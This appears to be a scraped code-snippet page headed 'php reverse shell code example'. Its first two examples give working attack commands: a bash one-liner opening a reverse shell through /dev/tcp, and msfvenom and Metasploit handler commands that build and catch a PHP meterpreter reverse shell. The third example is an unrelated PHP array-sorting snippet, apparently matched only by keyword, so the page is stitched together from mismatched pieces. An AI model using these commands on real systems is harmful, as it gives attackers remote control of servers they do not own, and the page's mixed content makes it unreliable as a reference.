php reverse shell code example
Example 1: reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Example 2: msfvenom php reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=<$LOCAL_IP> LPORT=<$LOCAL_PORT> -f raw -o shell.php
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
exploit
Example 3: php sort reverse
<?php
$fruits = array("lemon", "orange", "banana", "apple");
rsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}
?>